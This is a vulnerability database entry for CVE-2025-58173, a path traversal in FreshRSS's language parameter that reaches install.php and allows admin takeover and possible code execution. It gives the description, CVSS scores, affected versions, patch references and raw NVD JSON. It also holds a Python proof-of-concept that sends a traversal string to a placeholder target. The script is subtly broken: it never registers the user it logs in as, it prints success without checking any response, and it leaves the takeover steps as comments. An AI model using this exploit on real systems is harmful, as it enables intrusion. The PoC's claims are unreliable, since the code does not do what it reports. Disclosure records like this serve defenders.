Security Vulnerability Report
中文
CVE-2025-58173 CVSS 8.8 HIGH

CVE-2025-58173

Published: 2025-12-16 00:16:02
Last Modified: 2026-01-07 20:41:09

Description

FreshRSS is a self-hosted RSS feed aggregator. In versions 1.23.0 through 1.27.0, using a path traversal inside the `language` user configuration parameter, it's possible to call `install.php` and perform various administrative actions as an unprivileged user. These actions include logging in as the admin, creating a new admin user, or set the database to an attacker-controlled MySQL server and abuse it to execute code in FreshRSS by setting malicious feed `curl_params` inside the `feed` table. Version 1.27.1 fixes the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freshrss:freshrss:*:*:*:*:*:*:*:* - VULNERABLE
FreshRSS >= 1.23.0
FreshRSS <= 1.27.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-58173 FreshRSS Path Traversal to RCE PoC # Target: FreshRSS <= 1.27.0 TARGET = "http://target-freshrss.com" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() # Step 1: Register new user register_url = f"{TARGET}/?c=user&amp;action=register" # Step 2: Login with created account login_url = f"{TARGET}/?c=user&amp;action=login" # Step 3: Path traversal via language parameter # Set language to path traversal to access install.php profile_url = f"{TARGET}/?c=user&amp;action=profile" malicious_language = "../../../pocs/../../app/install.php" def exploit(): # Login first session.post(login_url, data={'username': USERNAME, 'password': PASSWORD}) # Step 4: Exploit path traversal # Modify language parameter to trigger install.php response = session.post(profile_url, data={ 'language': malicious_language, 'validate': '1' }) # Step 5: After install.php is called, we can: # - Login as admin # - Create new admin user # - Redirect DB to attacker MySQL # Step 6: If DB redirected, inject malicious curl_params in feed table # Using MySQL UDF for code execution print("Path traversal successful - install.php accessed") return True if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58173", "sourceIdentifier": "[email protected]", "published": "2025-12-16T00:16:02.023", "lastModified": "2026-01-07T20:41:09.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreshRSS is a self-hosted RSS feed aggregator. In versions 1.23.0 through 1.27.0, using a path traversal inside the `language` user configuration parameter, it's possible to call `install.php` and perform various administrative actions as an unprivileged user. These actions include logging in as the admin, creating a new admin user, or set the database to an attacker-controlled MySQL server and abuse it to execute code in FreshRSS by setting malicious feed `curl_params` inside the `feed` table. Version 1.27.1 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-22"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freshrss:freshrss:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.23.0", "versionEndExcluding": "1.27.1", "matchCriteriaId": "D9F79C7A-B50A-47F0-B969-F0D1F8D6943A"}]}]}], "references": [{"url": "https://github.com/FreshRSS/FreshRSS/commit/79604aa4b3051f083d1734bd9e82c6a89d785c5a#diff-49280171b6e7964e21a0270427e56eacb47b8ac562593a01ad4bc74b49f840c7R135", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/commit/dbbae15a8458679db0f4540dacdbdcff9c02ec8c#diff-63f610c36d0f2555c1787f6d0804f46f4df6e0f918dfe03408309039abf6efebL85-L88", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/commit/ee175dd6169a016fc898fac62d046e22c205dec0#diff-6ebff7743ede829cf5a7f0e4566b42023a2d4779cc8d7e96fefec116f2292174R190-R194", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/pull/7878", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/pull/7971", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/pull/7979", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-6c8h-w3j5-j293", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-6c8h-w3j5-j293", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}